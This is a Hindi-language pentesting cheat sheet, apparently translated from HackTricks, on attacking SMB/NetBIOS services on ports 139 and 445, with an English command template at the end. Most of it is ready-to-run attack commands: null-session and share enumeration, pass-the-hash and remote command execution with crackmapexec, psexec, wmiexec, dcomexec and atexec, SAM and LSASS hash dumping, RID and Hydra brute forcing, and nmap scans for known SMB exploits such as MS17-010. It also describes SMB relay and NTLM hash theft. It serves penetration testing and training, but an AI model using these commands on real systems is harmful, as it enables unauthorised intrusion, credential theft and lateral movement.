नेटवर्क बेसिक इनपुट आउटपुट सिस्टम** (NetBIOS)** एक सॉफ़्टवेयर प्रोटोकॉल है जिसे स्थानीय क्षेत्र नेटवर्क (LAN) के भीतर अनुप्रयोगों, PCs और डेस्कटॉप को नेटवर्क हार्डवेयर के साथ बातचीत करने और नेटवर्क के पार डेटा के संचरण को सुविधाजनक बनाने के लिए डिज़ाइन किया गया है। NetBIOS नेटवर्क पर काम कर रहे सॉफ़्टवेयर अनुप्रयोगों की पहचान और स्थान उनके NetBIOS नामों के माध्यम से प्राप्त किया जाता है, जो 16 वर्णों तक लंबे हो सकते हैं और अक्सर कंप्यूटर नाम से भिन्न होते हैं। दो अनुप्रयोगों के बीच एक NetBIOS सत्र तब शुरू होता है जब एक अनुप्रयोग (जो क्लाइंट के रूप में कार्य करता है) दूसरे अनुप्रयोग (जो सर्वर के रूप में कार्य करता है) को "कॉल" करने के लिए TCP पोर्ट 139 का उपयोग करते हुए एक आदेश जारी करता है।
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
Port 445
तकनीकी रूप से, पोर्ट 139 को 'NBT over IP' के रूप में संदर्भित किया जाता है, जबकि पोर्ट 445 को 'SMB over IP' के रूप में पहचाना जाता है। संक्षेप में SMB का अर्थ है 'Server Message Blocks', जिसे आधुनिक रूप से Common Internet File System (CIFS) के रूप में भी जाना जाता है। एक एप्लिकेशन-लेयर नेटवर्क प्रोटोकॉल के रूप में, SMB/CIFS मुख्य रूप से फ़ाइलों, प्रिंटरों, सीरियल पोर्ट्स तक साझा पहुंच सक्षम करने और नेटवर्क पर नोड्स के बीच विभिन्न प्रकार की संचार सुविधाओं के लिए उपयोग किया जाता है।
उदाहरण के लिए, Windows के संदर्भ में, यह उजागर किया गया है कि SMB सीधे TCP/IP पर कार्य कर सकता है, TCP/IP पर NetBIOS की आवश्यकता को समाप्त करते हुए, पोर्ट 445 के उपयोग के माध्यम से। इसके विपरीत, विभिन्न सिस्टमों पर, पोर्ट 139 का उपयोग देखा जाता है, जो यह संकेत करता है कि SMB TCP/IP पर NetBIOS के साथ मिलकर कार्यान्वित किया जा रहा है।
445/tcp open microsoft-ds Windows 7 Professional 7601 Service Pack 1 microsoft-ds (workgroup: WORKGROUP)
SMB
सर्वर संदेश ब्लॉक (SMB) प्रोटोकॉल, जो क्लाइंट-सर्वर मॉडल में कार्य करता है, फाइलों, निर्देशिकाओं, और प्रिंटर और राउटर जैसे अन्य नेटवर्क संसाधनों तक पहुँच को नियंत्रित करने के लिए डिज़ाइन किया गया है। मुख्य रूप से Windows ऑपरेटिंग सिस्टम श्रृंखला के भीतर उपयोग किया जाता है, SMB पिछड़े संगतता सुनिश्चित करता है, जिससे माइक्रोसॉफ्ट के ऑपरेटिंग सिस्टम के नए संस्करणों वाले उपकरण पुराने संस्करणों के साथ सहजता से बातचीत कर सकें। इसके अतिरिक्त, Samba प्रोजेक्ट एक मुफ्त सॉफ़्टवेयर समाधान प्रदान करता है, जो SMB के कार्यान्वयन को Linux और Unix सिस्टम पर सक्षम बनाता है, इस प्रकार SMB के माध्यम से क्रॉस-प्लेटफ़ॉर्म संचार को सुविधाजनक बनाता है।
शेयर, जो स्थानीय फ़ाइल प्रणाली के मनमाने हिस्सों का प्रतिनिधित्व करते हैं, एक SMB सर्वर द्वारा प्रदान किए जा सकते हैं, जिससे क्लाइंट के लिए एक हद तक स्वतंत्र रूप से सर्वर की वास्तविक संरचना के साथ दृश्यता मिलती है। एक्सेस कंट्रोल लिस्ट (ACLs), जो पहुँच अधिकार को परिभाषित करती हैं, उपयोगकर्ता अनुमतियों पर सूक्ष्म-नियंत्रण की अनुमति देती हैं, जिसमें execute, read, और full access जैसे गुण शामिल हैं। ये अनुमतियाँ शेयर के आधार पर व्यक्तिगत उपयोगकर्ताओं या समूहों को सौंपे जा सकते हैं, और ये सर्वर पर सेट स्थानीय अनुमतियों से भिन्न होती हैं।
IPC$ Share
IPC$ शेयर तक पहुँच एक गुमनाम शून्य सत्र के माध्यम से प्राप्त की जा सकती है, जिससे नामित पाइप के माध्यम से उजागर सेवाओं के साथ बातचीत की जा सके। इस उद्देश्य के लिए उपयोगिता enum4linux उपयोगी है। सही तरीके से उपयोग करने पर, यह निम्नलिखित जानकारी प्राप्त करने में सक्षम बनाता है:
ऑपरेटिंग सिस्टम की जानकारी
माता-पिता डोमेन का विवरण
स्थानीय उपयोगकर्ताओं और समूहों का संकलन
उपलब्ध SMB शेयरों की जानकारी
प्रभावी सिस्टम सुरक्षा नीति
यह कार्यक्षमता नेटवर्क प्रशासकों और सुरक्षा पेशेवरों के लिए SMB (सर्वर संदेश ब्लॉक) सेवाओं की सुरक्षा स्थिति का आकलन करने के लिए महत्वपूर्ण है। enum4linux लक्षित प्रणाली के SMB वातावरण का एक व्यापक दृश्य प्रदान करता है, जो संभावित कमजोरियों की पहचान करने और यह सुनिश्चित करने के लिए आवश्यक है कि SMB सेवाएँ सही तरीके से सुरक्षित हैं।
enum4linux-atarget_ip
उपरोक्त कमांड एक उदाहरण है कि enum4linux का उपयोग target_ip द्वारा निर्दिष्ट लक्ष्य के खिलाफ पूर्ण एन्यूमरेशन करने के लिए कैसे किया जा सकता है।
NTLM क्या है
यदि आप नहीं जानते कि NTLM क्या है या आप जानना चाहते हैं कि यह कैसे काम करता है और इसका दुरुपयोग कैसे किया जा सकता है, तो आप NTLM के बारे में इस पृष्ठ को बहुत दिलचस्प पाएंगे जहाँ इस प्रोटोकॉल के काम करने का तरीका और आप इसका लाभ कैसे उठा सकते हैं, समझाया गया है:
SMB संस्करण के संभावित शोषणों की तलाश करने के लिए यह जानना महत्वपूर्ण है कि कौन सा संस्करण उपयोग में है। यदि यह जानकारी अन्य उपयोग किए गए उपकरणों में नहीं दिखाई देती है, तो आप:
MSF सहायक मॉड्यूल _auxiliary/scanner/smb/smb_version का उपयोग करें
या यह स्क्रिप्ट:
#!/bin/sh#Author: rewardone#Description:# Requires root or enough permissions to use tcpdump# Will listen for the first 7 packets of a null login# and grab the SMB Version#Notes:# Will sometimes not capture or will print multiple# lines. May need to run a second time for success.if [ -z $1 ]; thenecho"Usage: ./smbver.sh RHOST {RPORT}"&&exit; else rhost=$1; fiif [ !-z $2 ]; then rport=$2; else rport=139; fitcpdump -s0 -n -i tap0 src $rhost and port $rport -A -c 7 2>/dev/null | grep -i "samba\|s.a.m" | tr -d '.' | grep -oP 'UnixSamba.*[0-9a-z]' | tr -d '\n' & echo -n "$rhost: " &
echo"exit"|smbclient-L $rhost 1>/dev/null2>/dev/nullecho""&&sleep.1
#Dump interesting informationenum4linux-a [-u "<username>"-p"<passwd>"]<IP>enum4linux-ng-A [-u "<username>"-p"<passwd>"]<IP>nmap--script"safe or smb-enum-*"-p445<IP>#Connect to the rpcrpcclient-U""-N<IP>#No credsrpcclient//machine.htb-Udomain.local/USERNAME%754d87d42adabcca32bdb34a876cbffb--pw-nt-hashrpcclient-U"username%passwd"<IP>#With creds#You can use querydispinfo and enumdomusers to query user information#Dump user information/usr/share/doc/python3-impacket/examples/samrdump.py-port139 [[domain/]username[:password]@]<targetName or address>/usr/share/doc/python3-impacket/examples/samrdump.py-port445 [[domain/]username[:password]@]<targetName or address>#Map possible RPC endpoints/usr/share/doc/python3-impacket/examples/rpcdump.py-port135 [[domain/]username[:password]@]<targetName or address>/usr/share/doc/python3-impacket/examples/rpcdump.py-port139 [[domain/]username[:password]@]<targetName or address>/usr/share/doc/python3-impacket/examples/rpcdump.py-port445 [[domain/]username[:password]@]<targetName or address>
उपयोगकर्ताओं, समूहों और लॉग इन उपयोगकर्ताओं की गणना करें
यह जानकारी पहले से ही enum4linux और enum4linux-ng से एकत्र की जानी चाहिए।
यह हमेशा अनुशंसित है कि आप देखें कि क्या आप किसी चीज़ तक पहुँच सकते हैं, यदि आपके पास क्रेडेंशियल्स नहीं हैं तो nullक्रेडेंशियल्स/अतिथि उपयोगकर्ता का उपयोग करने का प्रयास करें।
smbclient--no-pass-L//<IP># Null usersmbclient -U 'username[%passwd]' -L [--pw-nt-hash] //<IP> #If you omit the pwd, it will be prompted. With --pw-nt-hash, the pwd provided is the NT hash
smbmap-H<IP> [-P <PORT>]#Null usersmbmap-u"username"-p"password"-H<IP> [-P <PORT>]#Credssmbmap-u"username"-p"<NT>:<LM>"-H<IP> [-P <PORT>]#Pass-the-Hashsmbmap-R-u"username"-p"password"-H<IP> [-P <PORT>]#Recursive listcrackmapexecsmb<IP>-u''-p''--shares#Null usercrackmapexecsmb<IP>-u'username'-p'password'--shares#Guest usercrackmapexecsmb<IP>-u'username'-H'<HASH>'--shares#Guest user
एक साझा फ़ोल्डर से कनेक्ट/सूची बनाएं
#Connect using smbclientsmbclient--no-pass//<IP>/<Folder>smbclient -U 'username[%passwd]' -L [--pw-nt-hash] //<IP> #If you omit the pwd, it will be prompted. With --pw-nt-hash, the pwd provided is the NT hash
#Use --no-pass -c 'recurse;ls' to list recursively with smbclient#List with smbmap, without folder it list everythingsmbmap [-u "username"-p"password"]-R [Folder] -H <IP> [-P <PORT>] # Recursive listsmbmap [-u "username"-p"password"]-r [Folder] -H <IP> [-P <PORT>] # Non-Recursive listsmbmap-u"username"-p"<NT>:<LM>" [-r/-R] [Folder] -H <IP> [-P <PORT>] #Pass-the-Hash
मैन्युअल रूप से विंडोज़ शेयरों की गणना करें और उनसे कनेक्ट करें
यह संभव है कि आपको होस्ट मशीन के किसी भी शेयर को प्रदर्शित करने से प्रतिबंधित किया गया हो और जब आप उन्हें सूचीबद्ध करने की कोशिश करते हैं, तो ऐसा प्रतीत होता है कि कनेक्ट करने के लिए कोई शेयर नहीं हैं। इसलिए, किसी शेयर से मैन्युअल रूप से कनेक्ट करने की कोशिश करना सार्थक हो सकता है। शेयरों की मैन्युअल गणना करने के लिए, आप NT_STATUS_ACCESS_DENIED और NT_STATUS_BAD_NETWORK_NAME जैसी प्रतिक्रियाओं की तलाश कर सकते हैं, जब आप एक मान्य सत्र (जैसे, नल सत्र या मान्य क्रेडेंशियल) का उपयोग कर रहे हों। ये यह संकेत कर सकते हैं कि शेयर मौजूद है और आपके पास इसका एक्सेस नहीं है या शेयर बिल्कुल मौजूद नहीं है।
विंडोज़ लक्ष्यों के लिए सामान्य शेयर नाम हैं
C$
D$
ADMIN$
IPC$
PRINT$
FAX$
SYSVOL
NETLOGON
(नेटवर्क सुरक्षा आकलन 3रा संस्करण से सामान्य शेयर नाम)
आप निम्नलिखित कमांड का उपयोग करके उनसे कनेक्ट करने की कोशिश कर सकते हैं
smbclient-U'%'-N \\\\<IP>\\<SHARE># null session to connect to a windows sharesmbclient -U '<USER>' \\\\<IP>\\<SHARE> # authenticated session to connect to a windows share (you will be prompted for a password)
या स्क्रिप्ट (एक शून्य सत्र का उपयोग करते हुए)
#/bin/baship='<TARGET-IP-HERE>'shares=('C$''D$''ADMIN$''IPC$''PRINT$''FAX$''SYSVOL''NETLOGON')for share in ${shares[*]}; dooutput=$(smbclient-U'%'-N \\\\$ip\\$share -c'')if [[ -z $output ]]; thenecho "[+] creating a null session is possible for $share" # no output if command goes through, thus assuming that a session was created
elseecho $output # echo error message (e.g. NT_STATUS_ACCESS_DENIED or NT_STATUS_BAD_NETWORK_NAME)fidone
उदाहरण
smbclient-U'%'-N \\\\192.168.0.24\\im_clearly_not_here# returns NT_STATUS_BAD_NETWORK_NAMEsmbclient-U'%'-N \\\\192.168.0.24\\ADMIN$ # returns NT_STATUS_ACCESS_DENIED or even gives you a session
Windows से शेयरों की गणना करें / बिना थर्ड-पार्टी टूल के
PowerShell
# Retrieves the SMB shares on the locale computer.Get-SmbShareGet-WmiObject-Class Win32_Share# Retrieves the SMB shares on a remote computer.get-smbshare-CimSession "<computer name or session object>"# Retrieves the connections established from the local SMB client to the SMB servers.Get-SmbConnection
CMD कंसोल
# List shares on the local computernetshare# List shares on a remote computer (including hidden ones)netview \\<ip>/all
विशेष रूप से शेयरों में Registry.xml नामक फ़ाइलें दिलचस्प होती हैं क्योंकि वे autologon के साथ कॉन्फ़िगर किए गए उपयोगकर्ताओं के लिए पासवर्ड रख सकती हैं। या web.config फ़ाइलें क्योंकि वे क्रेडेंशियल्स रखती हैं।
SYSVOL शेयर सभी प्रमाणित उपयोगकर्ताओं द्वारा पढ़ी जा सकती है। वहाँ आप कई विभिन्न बैच, VBScript, और PowerShell स्क्रिप्ट पा सकते हैं।
आपको इसके अंदर की स्क्रिप्ट की जांच करनी चाहिए क्योंकि आप पासवर्ड जैसी संवेदनशील जानकारी पाकर सकते हैं।
रजिस्ट्री पढ़ें
आप कुछ खोजे गए क्रेडेंशियल्स का उपयोग करके रजिस्ट्री पढ़ने में सक्षम हो सकते हैं। Impacket reg.py आपको प्रयास करने की अनुमति देता है:
crackmapexec किसी भी mmcexec, smbexec, atexec, wmiexec का दुरुपयोग करके कमांड निष्पादित कर सकता है, जिसमें wmiexecडिफ़ॉल्ट विधि है। आप पैरामीटर --exec-method के साथ अपनी पसंद की विकल्प को इंगित कर सकते हैं:
apt-getinstallcrackmapexeccrackmapexecsmb192.168.10.11-uAdministrator-p'P@ssw0rd'-X'$PSVersionTable'#Execute Powershellcrackmapexecsmb192.168.10.11-uAdministrator-p'P@ssw0rd'-xwhoami#Excute cmdcrackmapexecsmb192.168.10.11-uAdministrator-H<NTHASH>-xwhoami#Pass-the-Hash# Using --exec-method {mmcexec,smbexec,atexec,wmiexec}crackmapexecsmb<IP>-d<DOMAIN>-uAdministrator-p'password'--sam#Dump SAMcrackmapexecsmb<IP>-d<DOMAIN>-uAdministrator-p'password'--lsa#Dump LSASS in memmory hashescrackmapexecsmb<IP>-d<DOMAIN>-uAdministrator-p'password'--sessions#Get sessions (crackmapexecsmb<IP>-d<DOMAIN>-uAdministrator-p'password'--loggedon-users#Get logged-on userscrackmapexecsmb<IP>-d<DOMAIN>-uAdministrator-p'password'--disks#Enumerate the diskscrackmapexecsmb<IP>-d<DOMAIN>-uAdministrator-p'password'--users#Enumerate userscrackmapexecsmb<IP>-d<DOMAIN>-uAdministrator-p'password'--groups# Enumerate groupscrackmapexecsmb<IP>-d<DOMAIN>-uAdministrator-p'password'--local-groups# Enumerate local groupscrackmapexecsmb<IP>-d<DOMAIN>-uAdministrator-p'password'--pass-pol#Get password policycrackmapexecsmb<IP>-d<DOMAIN>-uAdministrator-p'password'--rid-brute#RID brutecrackmapexecsmb<IP>-d<DOMAIN>-uAdministrator-H<HASH>#Pass-The-Hash
दोनों विकल्प एक नई सेवा बनाएंगे (SMB के माध्यम से \pipe\svcctl का उपयोग करके) पीड़ित मशीन में और इसका उपयोग कुछ निष्पादित करने के लिए करेंगे (psexec एक निष्पादन योग्य फ़ाइल को ADMIN$ शेयर में अपलोड करेगा और smbexeccmd.exe/powershell.exe की ओर इशारा करेगा और तर्कों में पेलोड डालेगा --फाइल-लेस तकनीक--).
अधिक जानकारी के लिए psexecऔर smbexec.
kali में यह /usr/share/doc/python3-impacket/examples/ पर स्थित है।
#If no password is provided, it will be prompted./psexec.py [[domain/]username[:password]@]<targetName or address>./psexec.py-hashes<LM:NT>administrator@10.10.10.103#Pass-the-Hashpsexec \\192.168.122.66-uAdministrator-p123456Wwpsexec \\192.168.122.66-uAdministrator-pq23q34t34twd3w34t34wtw34t# Use pass the hash
Using parameter-k आप kerberos के खिलाफ प्रमाणीकरण कर सकते हैं बजाय NTLM के
बिना डिस्क को छुए या नई सेवा चलाए, port 135 के माध्यम से DCOM का उपयोग करके चुपचाप एक कमांड शेल निष्पादित करें।
kali में यह /usr/share/doc/python3-impacket/examples/ पर स्थित है
#If no password is provided, it will be prompted./wmiexec.py [[domain/]username[:password]@]<targetName or address>#Prompt for password./wmiexec.py-hashesLM:NTadministrator@10.10.10.103#Pass-the-Hash#You can append to the end of the command a CMD command to be executed, if you dont do that a semi-interactive shell will be prompted
पैरामीटर-k का उपयोग करके आप केरबेरोस के खिलाफ NTLM के बजाय प्रमाणीकरण कर सकते हैं।
#If no password is provided, it will be prompted./dcomexec.py [[domain/]username[:password]@]<targetName or address>./dcomexec.py-hashes<LM:NT>administrator@10.10.10.103#Pass-the-Hash#You can append to the end of the command a CMD command to be executed, if you dont do that a semi-interactive shell will be prompted
कमांड को टास्क शेड्यूलर के माध्यम से निष्पादित करें (SMB के माध्यम से \pipe\atsvc का उपयोग करके)।
kali में यह /usr/share/doc/python3-impacket/examples/ पर स्थित है।
./atexec.py [[domain/]username[:password]@]<targetName or address>"command"./atexec.py-hashes<LM:NT>administrator@10.10.10.175"whoami"
यह अनुशंसित नहीं है, यदि आप अधिकतम अनुमत प्रयासों से अधिक जाते हैं तो आप एक खाता ब्लॉक कर सकते हैं
nmap--scriptsmb-brute-p445<IP>ridenum.py <IP> 500 50000 /root/passwds.txt #Get usernames bruteforcing that rids and then try to bruteforce each user name
SMB relay attack
यह हमला Responder टूलकिट का उपयोग करके SMB प्रमाणीकरण सत्रों को आंतरिक नेटवर्क पर कैप्चर करता है, और उन्हें लक्ष्य मशीन पर रिले करता है। यदि प्रमाणीकरण सत्र सफल होता है, तो यह स्वचालित रूप से आपको एक सिस्टमशेल में ले जाएगा।
इस हमले के बारे में अधिक जानकारी यहाँ।
SMB-Trap
Windows पुस्तकालय URLMon.dll स्वचालित रूप से उस होस्ट पर प्रमाणीकरण करने की कोशिश करता है जब एक पृष्ठ SMB के माध्यम से कुछ सामग्री तक पहुँचने की कोशिश करता है, उदाहरण के लिए: img src="\\10.10.10.10\path\image.jpg"
यह कार्यों के साथ होता है:
URLDownloadToFile
URLDownloadToCache
URLOpenStream
URLOpenBlockingStream
जो कुछ ब्राउज़रों और उपकरणों (जैसे Skype) द्वारा उपयोग किए जाते हैं।
SMBTrap using MitMf
NTLM Theft
SMB ट्रैपिंग के समान, लक्षित प्रणाली पर दुर्भावनापूर्ण फ़ाइलें लगाने (SMB के माध्यम से, उदाहरण के लिए) एक SMB प्रमाणीकरण प्रयास को उत्तेजित कर सकती हैं, जिससे NetNTLMv2 हैश को Responder जैसे उपकरण के साथ इंटरसेप्ट किया जा सकता है। हैश को फिर ऑफ़लाइन क्रैक किया जा सकता है या SMB relay attack में उपयोग किया जा सकता है।
Protocol_Name: SMB #Protocol Abbreviation if there is one.
Port_Number: 137,138,139 #Comma separated if there is more than one.
Protocol_Description: Server Message Block #Protocol Abbreviation Spelled out
Entry_1:
Name: Notes
Description: Notes for SMB
Note: |
While Port 139 is known technically as ‘NBT over IP’, Port 445 is ‘SMB over IP’. SMB stands for ‘Server Message Blocks’. Server Message Block in modern language is also known as Common Internet File System. The system operates as an application-layer network protocol primarily used for offering shared access to files, printers, serial ports, and other sorts of communications between nodes on a network.
#These are the commands I run in order every time I see an open SMB port
With No Creds
nbtscan {IP}
smbmap -H {IP}
smbmap -H {IP} -u null -p null
smbmap -H {IP} -u guest
smbclient -N -L //{IP}
smbclient -N //{IP}/ --option="client min protocol"=LANMAN1
rpcclient {IP}
rpcclient -U "" {IP}
crackmapexec smb {IP}
crackmapexec smb {IP} --pass-pol -u "" -p ""
crackmapexec smb {IP} --pass-pol -u "guest" -p ""
GetADUsers.py -dc-ip {IP} "{Domain_Name}/" -all
GetNPUsers.py -dc-ip {IP} -request "{Domain_Name}/" -format hashcat
GetUserSPNs.py -dc-ip {IP} -request "{Domain_Name}/"
getArch.py -target {IP}
With Creds
smbmap -H {IP} -u {Username} -p {Password}
smbclient "\\\\{IP}\\\" -U {Username} -W {Domain_Name} -l {IP}
smbclient "\\\\{IP}\\\" -U {Username} -W {Domain_Name} -l {IP} --pw-nt-hash `hash`
crackmapexec smb {IP} -u {Username} -p {Password} --shares
GetADUsers.py {Domain_Name}/{Username}:{Password} -all
GetNPUsers.py {Domain_Name}/{Username}:{Password} -request -format hashcat
GetUserSPNs.py {Domain_Name}/{Username}:{Password} -request
https://book.hacktricks.xyz/pentesting/pentesting-smb
Entry_2:
Name: Enum4Linux
Description: General SMB Scan
Command: enum4linux -a {IP}
Entry_3:
Name: Nmap SMB Scan 1
Description: SMB Vuln Scan With Nmap
Command: nmap -p 139,445 -vv -Pn --script=smb-vuln-cve2009-3103.nse,smb-vuln-ms06-025.nse,smb-vuln-ms07-029.nse,smb-vuln-ms08-067.nse,smb-vuln-ms10-054.nse,smb-vuln-ms10-061.nse,smb-vuln-ms17-010.nse {IP}
Entry_4:
Name: Nmap Smb Scan 2
Description: SMB Vuln Scan With Nmap (Less Specific)
Command: nmap --script 'smb-vuln*' -Pn -p 139,445 {IP}
Entry_5:
Name: Hydra Brute Force
Description: Need User
Command: hydra -t 1 -V -f -l {Username} -P {Big_Passwordlist} {IP} smb
Entry_6:
Name: SMB/SMB2 139/445 consolesless mfs enumeration
Description: SMB/SMB2 139/445 enumeration without the need to run msfconsole
Note: sourced from https://github.com/carlospolop/legion
Command: msfconsole -q -x 'use auxiliary/scanner/smb/smb_version; set RHOSTS {IP}; set RPORT 139; run; exit' && msfconsole -q -x 'use auxiliary/scanner/smb/smb2; set RHOSTS {IP}; set RPORT 139; run; exit' && msfconsole -q -x 'use auxiliary/scanner/smb/smb_version; set RHOSTS {IP}; set RPORT 445; run; exit' && msfconsole -q -x 'use auxiliary/scanner/smb/smb2; set RHOSTS {IP}; set RPORT 445; run; exit'